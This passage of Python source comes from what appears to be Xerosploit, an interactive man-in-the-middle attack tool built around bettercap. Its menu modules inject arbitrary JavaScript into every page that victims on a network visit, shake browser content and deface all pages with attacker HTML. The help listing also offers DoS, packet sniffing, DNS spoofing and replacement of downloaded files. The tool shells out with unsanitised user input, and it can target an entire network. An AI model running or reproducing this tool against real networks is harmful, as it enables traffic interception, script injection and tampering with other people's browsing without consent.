█ Shaking Web Browser content █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def shakescreen():
print("\033[1;32m\n[+] Enter 'run' to execute the 'move' command.\n\033[1;m")
action_shakescreen = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mshakescreen\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_shakescreen == "back":
option()
elif action_shakescreen == "exit":
sys.exit(exit_msg)
elif action_shakescreen == "home":
home()
elif action_shakescreen == "run":
print("\033[1;34m\n[++] Injecting shakescreen.js ... \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
cmd_shakescreen = os.system("xettercap " + target_parse + target_ips + " --proxy-module=injectjs --js-file '/opt/xerosploit/tools/bettercap/modules/js/shakescreen.js' -I " + up_interface + " --gateway " + gateway)
shakescreen()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
shakescreen()
shakescreen()
elif options == "injectjs":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Inject Javascript █
█ █
█ Inject Javascript code in all visited webpage. █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def inject_j():
print("\033[1;32m\n[+] Enter 'run' to execute the 'injectjs' command.\n\033[1;m")
action_inject_j = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4minjectjs\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_inject_j == "back":
option()
elif action_inject_j == "exit":
sys.exit(exit_msg)
elif action_inject_j == "home":
home()
elif action_inject_j == "run":
print("\033[1;32m\n[+] Specify the file containing js code you would like to inject.\n\033[1;m")
js_file = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4minjectjs\033[0m\033[1;36m ➮ \033[1;m")
js_file = js_file.replace("'","")
if js_file == "back":
inject_j()
elif js_file == "exit":
sys.exit(exit_msg)
elif js_file == "home":
home()
else:
print("\033[1;34m\n[++] Injecting Javascript code ... \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
cmd_inject_j = os.system("xettercap " + target_parse + target_ips + " --proxy-module=injectjs --js-file " + js_file + " -I " + up_interface + " --gateway " + gateway)
inject_j()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
inject_j()
inject_j()
elif options == "deface":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Deface Web Page █
█ █
█ Overwrite all web pages with your HTML code █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def deface():
print("\033[1;32m\n[+] Enter 'run' to execute the 'deface' command.\n\033[1;m")
action_deface = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdeface\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_deface == "back":
option()
elif action_deface == "exit":
sys.exit(exit_msg)
elif action_deface == "home":
home()
elif action_deface == "run":
print("\033[1;32m\n[+] Specify the file containing your defacement code .\033[1;m")
print("\033[1;33m\n[!] Your file should not contain Javascript code .\n\033[1;m")
file_deface = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdeface\033[0m\033[1;36m ➮ \033[1;m")
if file_deface == "back":
option()
elif file_deface == "exit":
sys.exit(exit_msg)
elif file_deface == "home":
home()
else:
file_deface = file_deface.replace("'","")
file_deface = open(file_deface, 'r').read()
file_deface = file_deface.replace("\n","")
print("\033[1;34m\n[++] Overwriting all web pages ... \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
content = """<script type='text/javascript'> window.onload=function(){document.body.innerHTML = " """ + file_deface + """ ";}</script>"""
f1 = open('/home/home/xero-html.html','w')
f1.write(content)
f1.close()
cmd_inject = os.system("xettercap " + target_parse + target_ips + " --proxy-module=/opt/xerosploit/tools/bettercap/lib/bettercap/proxy/http/modules/injecthtml.rb --js-file /home/home/xero-html.html -I " + up_interface + " --gateway " + gateway )
deface()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
deface()
deface()
elif options == "back":
target_ip()
elif options == "exit":
sys.exit(exit_msg)
elif options == "home":
home()
# Show disponible modules.
elif options == "help":
print ("")
table_datas = [
["\033[1;36m\n\n\n\n\n\n\n\n\n\n\n\n\n\nMODULES\n", """
pscan : Port Scanner
dos : DoS Attack
ping : Ping Request
injecthtml : Inject Html code
injectjs : Inject Javascript code
rdownload : Replace files being downloaded
sniff : Capturing information inside network packets
dspoof : Redirect all the http traffic to the specified one IP
yplay : Play background sound in target browser
replace : Replace all web pages images with your own one
driftnet : View all images requested by your targets
move : Shaking Web Browser content
deface : Overwrite all web pages with your HTML code\n\033[1;m"""]
]
table = DoubleTable(table_datas)
print(table.table)
option()
else:
print("\033[1;91m\n[!] Error : Module not found . Type 'help' to view the modules list. \033[1;m")
option()
option()
if target_ips == "back":
home()
elif target_ips == "exit":
sys.exit(exit_msg)
elif target_ips == "home":
home()
elif target_ips == "help":
table_datas = [
["\033[1;36m\nInformation\n", "\nInsert your target IP address.\nMultiple targets : ip1,ip2,ip3,... \nThe 'all' command will target all your network.\n\n\033[1;m"]
]
table = DoubleTable(table_datas)
print(table.table)
target_ip()
# if target = all the network
elif target_ips == "all":
target_ips = ""
target_parse = ""
target_name = "All your network"
program0()
else:
program0()
def cmd0():
while True:
print("\033[1;32m\n[+] Please type 'help' to view commands.\n\033[1;m")
cmd_0 = raw_input("\033[1;36m\033[4mXero\033[0m\033[1;36m ➮ \033[1;m").strip()
if cmd_0 == "scan": # Map the network
print("\033[1;34m\n[++] Mapping your network ... \n\033[1;m")
scan()
elif cmd_0 == "start": # Skip network mapping and directly choose a target.
target_ip()
elif cmd_0 == "gateway": # Change gateway
def gateway():
print("")
table_datas = [
["\033[1;36m\nInformation\n", "\nManually set your gateway.\nInsert '0' if you want to choose your default network gateway.\n\033[1;m"]
]
table = DoubleTable(table_datas)
print(table.table)
print("\033[1;32m\n[+] Enter your network gateway.\n\033[1;m")
n_gateway = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mgateway\033[0m\033[1;36m ➮ \033[1;m").strip()
if n_gateway == "back":
home()
elif n_gateway == "exit":
sys.exit(exit_msg)
elif n_gateway == "home":
home()
else:
s_gateway = open('/opt/xerosploit/tools/files/gateway.txt','w')
s_gateway.write(n_gateway)
s_gateway.close()
home()
gateway()
elif cmd_0 == "iface": # Change network interface.
def iface():
print ("")
table_datas = [
["\033[1;36m\nInformation\n", "\nManually set your network interface.\nInsert '0' if you want to choose your default network interface.\n\033[1;m"]
]
table = DoubleTable(table_datas)
print(table.table)
print("\033[1;32m\n[+] Enter your network interface.\n\033[1;m")
n_up_interface = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4miface\033[0m\033[1;36m ➮ \033[1;m").strip()
if n_up_interface == "back":
home()
elif n_up_interface == "exit":
sys.exit(exit_msg)
elif n_up_interface == "home":
home()
else:
s_up_interface = open('/opt/xerosploit/tools/files/iface.txt','w')
s_up_interface.write(n_up_interface)
s_up_interface.close()
home()
iface()
elif cmd_0 == "exit":
sys.exit(exit_msg)
elif cmd_0 == "home":
home()
elif cmd_0 == "rmlog": # Remove all logs
def rm_log():
print("\033[1;32m\n[+] Do want to remove all xerosploit logs ? (y/n)\n\033[1;m")
cmd_rmlog = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mrmlog\033[0m\033[1;36m ➮ \033[1;m").strip()
if cmd_rmlog == "y":
rmlog = os.system("rm -f -R /opt/xerosploit/xerosniff/ /opt/xerosploit/tools/log/* /opt/xerosploit/tools/bettercap/modules/tmp/* /opt/xerosploit/tools/files/dns.conf")
print("\033[1;31m\n[++] All logs have been removed. \n\033[1;m")
sleep(1)
home()
elif cmd_rmlog == "n":
home()
elif cmd_rmlog == "exit":
sys.exit(exit_msg)
elif cmd_rmlog == "home":
home()
elif cmd_rmlog == "back":
home()
else:
print("\033[1;91m\n[!] Error : Command not found. type 'y' or 'n'\033[1;m")
rm_log()
rm_log()
# Principal commands
elif cmd_0 == "help":
print ("")
table_datas = [
["\033[1;36m\n\n\n\nCOMMANDS\n", """
scan : Map your network.
iface : Manually set your network interface.
gateway : Manually set your gateway.
start : Skip scan and directly set your target IP address.
rmlog : Delete all xerosploit logs.
help : Display this help message.
exit : Close Xerosploit.\n\033[1;m"""]
]
table = DoubleTable(table_datas)
print(table.table)
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
home()
cmd0()
except KeyboardInterrupt:
print ("\n" + exit_msg)
sleep(1)
except Exception:
traceback.print_exc(file=sys.stdout)
sys.exit(0)
if __name__ == "__main__":
main()